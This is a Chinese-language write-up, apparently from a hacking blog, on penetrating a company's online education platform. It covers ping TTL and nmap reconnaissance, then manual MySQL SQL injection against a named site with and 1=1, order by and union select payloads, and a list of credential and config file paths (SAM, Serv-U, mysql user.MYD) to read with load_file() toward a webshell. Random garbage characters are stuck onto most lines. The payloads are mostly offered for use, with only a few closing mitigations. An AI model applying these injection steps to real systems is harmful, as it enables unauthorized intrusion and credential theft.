题记:
- J& c3 M5 r' Y( e( n一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……' O% N9 l3 h2 k
第一步:获取需要的信息. K! X5 i0 R7 Q! B5 P
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
" a9 W8 ~5 s7 |注:以下为保护特用XXX代替敏感信息+ V' B8 t( F) @# n. R7 K8 G
顺手先PING了一下他们的域名:
1 K+ s, s8 E; a5 s3 B5 Tping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
7 s/ G2 I5 n) |: c64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
. k6 P5 S3 ]0 q7 B- o0 U顺便了解一下TTL,学好基础知识才能一路顺风:
+ @$ {) ~$ O" U3 |: VTTL:(Time To Live ) 生存时间2 t( j" @3 c; P e0 P# N2 e
指定数据包被路由器丢弃之前允许通过的网段数量。+ a- A% w' p) Y8 W* [
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
2 ]8 U( Z, \3 A" x' i5 c* G; w使用PING时涉及到的 ICMP 报文类型
* P* s: J3 b) h9 \" p一个为ICMP请求回显(ICMP Echo Request), e% n+ w R3 S
一个为ICMP回显应答(ICMP Echo Reply)! c: r$ H7 D) ~+ `5 j5 U Z
TTL 字段值可以帮助我们识别操作系统类型。
& k8 s3 P$ d4 y9 B vUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255 T3 i+ T$ k# m m" H& @
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 647 v9 j* O0 P( o C6 c
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128# J5 J$ y, W) S
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
, i' Q7 z# P' o# W8 M当然,返回的TTL值是相同的, @$ d/ b* |6 @) Y' `% G
但有些情况下有所特殊
0 M8 S/ u0 k! r1 h4 v0 C$ OLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64! p2 \' o8 S- F" `) |! K P4 {
FreeBSD 4.1, 4.0, 3.4;
" S+ \! N- U! g/ l$ y+ GSun Solaris 2.5.1, 2.6, 2.7, 2.8;
" U0 ]" Y/ ]- d' H+ H) n2 wOpenBSD 2.6, 2.7,
" z+ v# ?( m( g- gNetBSD
5 }8 y7 `0 Z! [# eHP UX 10.20
. J% |' Y7 s- i# u, {: I9 _% hICMP 回显应答的 TTL 字段值为 255: D. i4 \! m2 e$ y B
Windows 95/98/98SE, \! E5 x! A, J9 N f ?1 G% N
Windows ME% j- \7 N# r0 x, h5 c
ICMP 回显应答的 TTL 字段值为 32
5 n3 G5 C8 A( u+ O, n6 UWindows NT4 WRKS
! u# x- | E4 S- T. mWindows NT4 Server) r* ~" r1 w5 H# x" Z9 t
Windows 2000
' Y8 p0 ^% ?$ R/ T4 \/ U0 }Windows XP
/ d8 Y: B' y$ O0 g7 eICMP 回显应答的 TTL 字段值为 128
# H7 \ M$ {. x7 L这样,我们就可以通过这种方法来辨别操作系统 P+ E0 x) S) ~
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2551 p, r3 J: y) g. j; U, k1 [+ P
用NMAP扫描一下:( O3 E# g' f. r5 C6 Y$ h% Y8 `
nmap -sT -O XXX.XXX.XXX.XXX
8 y/ z# b# t& V) W# K" S如果没有装WinPcap则会弹出提示:+ h9 a [, K7 p# Z
WARNING: Could not import all necessary WinPcap functions. You may need to upgr! A2 C' ]. p+ S$ {/ c
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
" q9 Y* I. [( o- K; h* t' T% ?0 M) mode — Nmap may not function completely
! q5 q* [ A% L3 N5 E- sTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
W8 L' G9 _: Jand iphlpapi.dll be installed. You seem to be missing one or both of these. Win: O; Q% K" Q2 u' u: ^( A
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an) \6 F, ?1 F7 h+ M+ |
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
2 ~* g# A- [9 T( P" H) c9 ?/ Fersions, you may be able to take iphlpapi.dll from another system and place it i
- z A6 j6 ^9 H$ D6 bn your system32 dir (e.g. c:\windows\system32).
+ M% D0 ], J; g' ~3 B4 Y$ h( d1 b, cQUITTING!* w$ O4 K" o* }! \
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe8 j3 d9 j( X+ Y- ~* F
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
. o4 \$ b& F5 W5 q2 B( mInteresting ports on XXX.XXX.XXX.XXX:5 ~! n/ S: g. Y& n5 a, U, Z
Not shown: 986 closed ports
`, E7 x% @$ f1 [5 SPORT STATE SERVICE
! n4 d5 D& t- y5 k" P& F ^21/tcp open ftp
1 w2 I0 P4 h% j! s22/tcp open ssh' S6 M) G6 ?% J0 ]5 w
23/tcp open telnet( s3 ?$ Z, F, Q( t1 j3 n0 q3 p
80/tcp open http
/ k. O( A; [7 D/ d( [111/tcp open rpcbind
/ a* v5 @0 d6 n9 b W: t" k135/tcp filtered msrpc
9 x' _0 C U5 r2 _139/tcp filtered netbios-ssn$ D$ X4 ~- d7 @- q
445/tcp filtered microsoft-ds
* v4 B6 N9 U+ i8 \& d' P513/tcp open login
( ]# B7 F" S% x, o8 ~514/tcp open shell1 a4 V- C" |1 \* N. b
593/tcp filtered http-rpc-epmap
) ^. n9 B& d( i7 ]! K) t1720/tcp filtered H.323/Q.931
. V2 U# @& K/ n& ^+ R) f+ y3306/tcp open mysql7 g, D* P6 I8 v, w4 x! Z1 }! {6 P
4444/tcp filtered krb524
. B" }9 S" _* pDevice type: WAP7 P7 ]. q" g" t; x! N
Running: Linux 2.4.X+ T* |6 |; w$ g7 c, m
OS details: DD-WRT (Linux 2.4.35s)
9 e4 R% ? l% l- o: cNetwork Distance: 13 hops
6 h3 Z4 z) ~# g2 ~& M a7 y看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
' m5 y' ?% d8 [. e- u' ], mlogin as:
/ ]$ b' e+ T$ a% ?) k% W( lTelnet23端口也是开着的,用telnet 命令链接一下:
: T8 ^) J: M6 btelnet XXX.XXX.XXX.XXX
2 k8 }. a" e1 ^提示:
4 z/ x3 e0 c# ~5 w! Z( a& fRed Hat Enterprise Linux Server release 5.2 (Tikanga)! k1 \# I" j. Z/ f
Kernel 2.6.18-92.el5PAE on an i686
7 x/ L; o$ D+ V- u9 jlogin:
5 L" {5 H8 E7 o( |) o8 r获取HTTP头信息:
, ]' F( i: s. r. ^在本地执行如下PHP代码" \8 T4 F$ w- r/ o" r2 g. g
<?php
/ S+ f$ K& J3 B- k9 p% J$url = ‘XXX.XXX.XXX.XXX’;
0 w" c* ]. @$ b; C8 ^7 Bprint_r(get_headers($url));
6 @9 t3 [+ I" V9 ?print_r(get_headers($url, 1));
& c' |# d5 y' P4 n! N?>4 B. h% Q p" o" J; h( P+ b
将以上代码保存为PHP文件,执行:; ~8 W' D U$ S0 X! j
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )3 _; \+ `$ u1 @7 G/ V0 @
现在可以得出结论:
$ ?" r6 J0 _$ g6 Q+ l4 }系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)1 P. _4 A" n! X) g) I4 o
内核版本:Kernel 2.6.18-92.el5PAE on an i686" ~4 _( {$ y; t; e2 y
WEB服务器版本:nginx/0.7.61( X. q# D' U8 G4 p9 D
第二步,开始测试寻找漏洞* }) |, V; f6 w3 I; n
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
( K& C5 \2 m* P' J+ I, l+ Q0 G1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
; x/ z$ I+ W" @- C! H2、测试方法:在地址后加 and 1=1 和 and 1=2 测试9 _* a$ @* }6 P1 R
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
) d5 a0 C, `) b& Uhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
: e8 o; y2 H# ?1 G恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续 ~ f$ I4 y4 W( C
3、手工注入:
t* H1 |' Q3 C; m& K注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
( i3 _( E6 z; E- b J. o3.1 猜测当前表字段数2 `' w) E M# a/ j. S. O& l( W3 M0 O
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
- r! c8 |2 m, M2 D9 h此处猜测有个简单的算法,都是有技巧的吗,呵呵
$ V2 z, k0 N! a# H6 q$ A/ @- X算法简单如下:
z b, H# F @5 {% r第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
. K# q/ Y5 @: j# z$ N第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
/ ~3 o. G7 p% L: G+ U6 y% H+ x需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。 R9 c. E6 r# c; z1 M D
以此来判断,是否过界,配合取中算法猜出字段数。; m5 a9 w; P4 q- \8 u; X4 }7 |
举例:: b# p9 B4 S, l9 Z% S- r! ]
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
: Z3 O4 e4 T, J! m9 ?8 o8 ?% q7 \http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
2 j5 Q4 F3 |) d% s9 @6 `+ Y此时3则为我们要找的字段数。: c; G0 C$ _) g. z9 |. d
3.2 配合union联合查询字段在页面所位置
* T; y9 n: ~) M# v) h我们已经知道了字段数为3,此时则可以做如下操作:- F8 H+ X, J4 e7 `$ S( Z
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,36 G( ^, T0 M0 k0 f- K
5 E) s" y4 X) P% |/ p这样就可以测试到哪些字段在页面上有所显示了,如图:
7 ?& l% }- N7 K/ B/ \8 v5 ]; f6 l: ]- a8 x
3.3 查敏感信息
$ m1 U( y3 E1 ~/ f4 n这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
& r: m; M2 [- k2 P5 F( @http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()- s2 |8 P! E* D) t
3.3.1 先查数据库用户、数据库名,以备后用,如图:2 }& `/ l0 a. h9 z
* C% B" p& w' _% k得到数据库用户为root、数据库名为DBxx;
: m; C# w2 N# S( r- f$ U3.3.2 查配置文件' C; ^* w/ l P1 a3 y+ O+ p
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。2 Z. `% E: x! @8 o- C* G
查看文件有一定的条件限制:/ s$ @# b& i4 z# K0 k/ c/ S: ]+ x2 q$ c
欲读取文件必须在服务器上
, G& \0 b. O3 X) |" |$ z/ A必须指定文件完整的路径
2 m6 |4 U: t+ d" @6 k, C0 `必须有权限读取并且文件必须完全可读) v( ?' J* U# Y- p% J
欲读取文件必须小于 max_allowed_packet
, V. F$ u/ {4 [& W) SMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。! e, d8 n( u9 H4 h# B# b6 x, B
常用的一些:! D( A- u% C8 }" B: Z
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件: [" t/ h/ q! x# {, {. }
/usr/local/apache2/conf/httpd.conf
8 @ H$ A# C) x/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/ ?' {3 ~# `3 k# y7 z N; h/usr/local/app/php5/lib/php.ini //PHP相关设置
- P3 s L( a7 O2 H/etc/sysconfig/iptables //从中得到防火墙规则策略
6 ?/ g# H0 p# f* ]/etc/httpd/conf/httpd.conf // apache配置文件5 Z. c6 X; X4 K3 G1 B; A
/etc/rsyncd.conf //同步程序配置文件% m3 F, F6 r" L0 f
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
- s |6 L2 q8 t! d( \ ?- x/etc/my.cnf //mysql的配置文件
! _- V3 H) e& o4 K) c( h; w8 Z/etc/redhat-release //系统版本7 X" T/ w; L( z$ |& v2 b9 R& W
/etc/issue% O: v8 n1 z' p' I$ d
/etc/issue.net
0 }! `4 Q8 C4 N. O8 Qc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
5 [2 l2 r! ~5 E# d, ~; `; B$ H; D7 jc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
3 y8 k) H- Z0 `0 ]! \c:\Program Files\Serv-U\ServUDaemon.ini
/ H6 f* C$ S7 Oc:\windows\my.ini //MYSQL配置文件
) z# A! f6 {: [. X& E5 Q" [c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
" [# i( e9 \9 Y+ W( P; j等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,) l- h! v, S: `' S
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
3 W: n* f8 \! T6 Zc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此" T: q2 O9 w3 S1 }+ ]' b2 y
c:\Program Files\RhinoSoft.com\ServUDaemon.exe6 B. V: Q2 U) f; }6 a$ H V
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件" y8 J$ R/ ^2 w2 R7 g L
//存储了pcAnywhere的登陆密码6 L% Y3 t2 z; y- k
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
& h/ n% e6 g0 e& y! S这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。3 g+ H6 D6 f1 Y! \ R
最后:防范措施
9 N7 ]6 B1 P7 U& D1 J2 t1、修复PHP注入漏洞;% [2 N3 H, X, K6 |' r- }( g1 M
2、Mysql使用普通权限的用户;% V1 n% u! N9 b/ R
3、升级linux内核至最新版本; |